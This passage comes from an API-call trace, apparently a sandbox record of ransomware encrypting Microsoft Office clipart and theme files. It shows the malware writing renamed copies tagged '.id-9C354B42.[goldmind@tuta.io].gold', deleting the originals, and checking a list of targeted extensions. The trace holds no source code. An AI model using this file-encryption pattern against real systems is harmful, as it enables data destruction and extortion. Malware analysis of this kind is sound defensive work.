lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.673] SetEndOfFile (hFile=0x39c) returned 1 [0094.673] CloseHandle (hObject=0x39c) returned 1 [0094.673] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.673] SetEndOfFile (hFile=0x3c0) returned 1 [0094.676] CloseHandle (hObject=0x3c0) returned 1 [0094.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".doc") returned 4 [0094.882] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.882] lstrlenW (lpString=".docx") returned 5 [0094.882] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.882] lstrlenW (lpString=".pdf") returned 4 [0094.882] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.882] lstrlenW (lpString=".xls") returned 4 [0094.882] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.882] lstrlenW (lpString=".xlsx") returned 5 [0094.882] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.882] lstrlenW (lpString=".ppt") returned 4 [0094.882] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".zip") returned 4 [0094.882] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.882] lstrlenW (lpString=".rar") returned 4 [0094.882] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.882] lstrlenW (lpString=".bz2") returned 4 [0094.882] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.882] lstrlenW (lpString=".7z") returned 3 [0094.882] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".dbf") returned 4 [0094.882] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".1cd") returned 4 [0094.882] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".jpg") returned 4 [0094.882] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.882] lstrlenW (lpString=".doc") returned 4 [0094.883] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.883] lstrlenW (lpString=".docx") returned 5 [0094.883] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.883] lstrlenW (lpString=".pdf") returned 4 [0094.883] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.883] lstrlenW (lpString=".xls") returned 4 [0094.883] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.883] lstrlenW (lpString=".xlsx") returned 5 [0094.883] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.883] lstrlenW (lpString=".ppt") returned 4 [0094.883] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.883] lstrlenW (lpString=".zip") returned 4 [0094.883] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.883] lstrlenW (lpString=".rar") returned 4 [0094.883] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.883] lstrlenW (lpString=".bz2") returned 4 [0094.883] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.883] lstrlenW (lpString=".7z") returned 3 [0094.883] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.883] lstrlenW (lpString=".dbf") returned 4 [0094.883] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.883] lstrlenW (lpString=".1cd") returned 4 [0094.883] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0094.883] lstrlenW (lpString=".jpg") returned 4 [0094.883] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.883] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.883] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0094.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.909] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4961) returned 1 [0094.909] CloseHandle (hObject=0x3b8) returned 1 [0094.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0094.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.001] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.001] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0095.002] GetLastError () returned 0x0 [0095.002] ReadFile (in: hFile=0x3a4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1361, lpOverlapped=0x0) returned 1 [0095.007] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0095.007] ReadFile (in: hFile=0x3a4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.007] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.007] SetEndOfFile (hFile=0x3a8) returned 1 [0095.132] CloseHandle (hObject=0x3a8) returned 1 [0095.132] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.132] SetEndOfFile (hFile=0x3a4) returned 1 [0095.133] CloseHandle (hObject=0x3a4) returned 1 [0095.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0095.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.152] lstrlenW (lpString=".doc") returned 4 [0095.153] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString=".docx") returned 5 [0095.153] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0095.153] lstrlenW (lpString=".pdf") returned 4 [0095.153] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".xls") returned 4 [0095.153] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".xlsx") returned 5 [0095.153] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0095.153] lstrlenW (lpString=".ppt") returned 4 [0095.153] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".zip") returned 4 [0095.153] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".rar") returned 4 [0095.153] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".bz2") returned 4 [0095.153] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString=".7z") returned 3 [0095.153] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".dbf") returned 4 [0095.153] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".1cd") returned 4 [0095.153] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".jpg") returned 4 [0095.153] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".doc") returned 4 [0095.153] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString=".docx") returned 5 [0095.153] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0095.153] lstrlenW (lpString=".pdf") returned 4 [0095.153] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".xls") returned 4 [0095.153] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".xlsx") returned 5 [0095.153] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0095.153] lstrlenW (lpString=".ppt") returned 4 [0095.153] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.153] lstrlenW (lpString=".zip") returned 4 [0095.153] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".rar") returned 4 [0095.153] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0095.153] lstrlenW (lpString=".bz2") returned 4 [0095.153] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0095.153] lstrlenW (lpString=".7z") returned 3 [0095.153] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0095.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.154] lstrlenW (lpString=".dbf") returned 4 [0095.154] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0095.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.154] lstrlenW (lpString=".1cd") returned 4 [0095.154] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0095.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0095.154] lstrlenW (lpString=".jpg") returned 4 [0095.154] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0095.154] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.154] lstrlenW (lpString="Apothecary.eftx") returned 15 [0095.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.155] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=49025) returned 1 [0095.155] CloseHandle (hObject=0x3b8) returned 1 [0095.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0095.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.155] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.155] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.156] GetLastError () returned 0x0 [0095.156] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0095.158] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0095.159] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.159] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0095.159] SetEndOfFile (hFile=0x3b4) returned 1 [0095.159] CloseHandle (hObject=0x3b4) returned 1 [0095.159] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.160] SetEndOfFile (hFile=0x3b8) returned 1 [0095.161] CloseHandle (hObject=0x3b8) returned 1 [0095.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0095.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.162] lstrlenW (lpString=".doc") returned 4 [0095.162] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.162] lstrlenW (lpString=".docx") returned 5 [0095.162] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.162] lstrlenW (lpString=".pdf") returned 4 [0095.162] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.162] lstrlenW (lpString=".xls") returned 4 [0095.162] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.162] lstrlenW (lpString=".xlsx") returned 5 [0095.162] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.162] lstrlenW (lpString=".ppt") returned 4 [0095.162] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".zip") returned 4 [0095.163] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".rar") returned 4 [0095.163] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".bz2") returned 4 [0095.163] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".7z") returned 3 [0095.163] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".dbf") returned 4 [0095.163] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".1cd") returned 4 [0095.163] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".jpg") returned 4 [0095.163] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".doc") returned 4 [0095.163] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".docx") returned 5 [0095.163] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.163] lstrlenW (lpString=".pdf") returned 4 [0095.163] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".xls") returned 4 [0095.163] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".xlsx") returned 5 [0095.163] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.163] lstrlenW (lpString=".ppt") returned 4 [0095.163] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".zip") returned 4 [0095.163] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".rar") returned 4 [0095.163] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".bz2") returned 4 [0095.163] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString=".7z") returned 3 [0095.163] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".dbf") returned 4 [0095.163] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".1cd") returned 4 [0095.163] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0095.163] lstrlenW (lpString=".jpg") returned 4 [0095.163] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.163] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.164] lstrlenW (lpString="Aspect.eftx") returned 11 [0095.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.164] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=22554) returned 1 [0095.164] CloseHandle (hObject=0x3b8) returned 1 [0095.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0095.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.165] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.165] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0095.166] GetLastError () returned 0x0 [0095.166] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x581a, lpOverlapped=0x0) returned 1 [0095.168] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0095.169] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.169] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.169] SetEndOfFile (hFile=0x3a8) returned 1 [0095.169] CloseHandle (hObject=0x3a8) returned 1 [0095.169] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.170] SetEndOfFile (hFile=0x3b8) returned 1 [0095.171] CloseHandle (hObject=0x3b8) returned 1 [0095.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[goldmind@tuta.io].gold", 